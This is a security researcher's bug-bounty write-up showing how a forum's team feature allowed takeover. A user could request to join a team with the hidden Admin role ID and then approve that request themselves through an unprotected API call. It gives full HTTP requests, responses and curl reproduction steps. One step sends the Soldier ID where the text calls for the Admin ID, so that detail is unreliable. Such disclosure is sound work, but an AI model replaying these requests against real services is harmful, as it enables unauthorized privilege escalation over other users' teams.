Hare Krishna! My name is Tuhin Bose (tuhin1729). I am currently working as a CTF Designing Consultant at BugBase. In this write-up, I am going to share one of my findings which allowed me to takeover anyone’s team.
So without wasting time, let’s directly jump into the blog:

Introduction:

Basically, the target is a forum where people can interact with each other, create team with others etc. While analyzing the team functionality, I have noticed the following points:

1. Users can create a team.
2. Any other user can send request to join the team with any of these roles: soldier, manager & supporter. However, they can’t send request to join the team as an admin. Every role has a different importance level (an integer between 1 to 10) based on the permissions that they are allowed to perform in the team. For example, the role supporter has the importance level 10 (least privilege) & the role admin has the importance level 1 (most privilege).
3. If the admin of the team approves team joining request of any user, he/she will be a part of that team. However, only admin has the permission to allow anyone in their team.

First Issue - Sending Request to Join a Team as Admin:

While analyzing all the HTTP requests in burp suite, I noticed a request which is responsible for fetching all the available roles:

POST /functions/team-roles-get HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 2
Referer: https://redacted.com/
Origin: https://redacted.com
{}

I quicky captured the response & it looks like:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 309
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 05:18:59 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block
{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

Basically, all the roles (including Admin), their importance & objectId are revealed in the response. However, through the UI, we can’t request to be an admin of the team.
Now, when I tried to send request to join the team as a Soldier, I noticed this HTTP request:

POST /functions/team-join-post HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 164
Referer: https://redacted.com/
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Origin: https://redacted.com
{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}

“MdpcbB6bpz” is the objectId of the team & “ZwskfB2xQr” is the objectId of the role Soldier (refer to the response of /functions/team-roles-get). Now what if we change the objectId of Soldier to objectId of Admin in the above request? I expected some kind of error message but…

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 95
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 06:37:56 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block
{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

Request submitted successfully :) “GfqdcC7cqA” is the objectId of the team joining request.

Second Issue - Approving Team Joining Request on Behalf of Admin:

Now even if we send our team joining request to be an admin of the team, the real admin won’t allow our request as he/she can clearly see the role which we applied for.
When I logged in to the admin account & tried to approve a team joining request, I noticed the following HTTP request:

POST /functions/team-join-response-post HTTP/2
Host: redacted.com
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/json; charset=utf-8
Accept: */*
X-Session-Token: 6Y4z0L9p6N1d4O2d8G7w4Q9p4E3o1R3c6K0w0C9h
Origin: https://redacted.com
Referer: https://redacted.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}

“MdpcbB6bpz” is the objectId of the team & “GfqdcC7cqA” is the objectId of the team joining request (we have seen this earlier). Now what if I send this same HTTP request from any other user’s account? I quickly logged in to the first account (from where I sent this team joining request) & fired the above request.

B00M! I joined the team as an admin. Now I can edit the team details, view & approve/deny all the other team joining requests.

In case, you’re too lazy to read the above stuffs, here is a shorter version:

Steps to Reproduce:

1. Get objectId of the role Admin:

tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-roles-get --data '{}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

2. Send a request to join the team as an Admin:

tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

3. Copy the objectId & approve the team joining request:

tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-response-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
{"result":true}

Observe that, you’re now an admin of the team.

Hope you liked this blog. Let me know if you have any further query.
Follow me on twitter: @tuhin1729_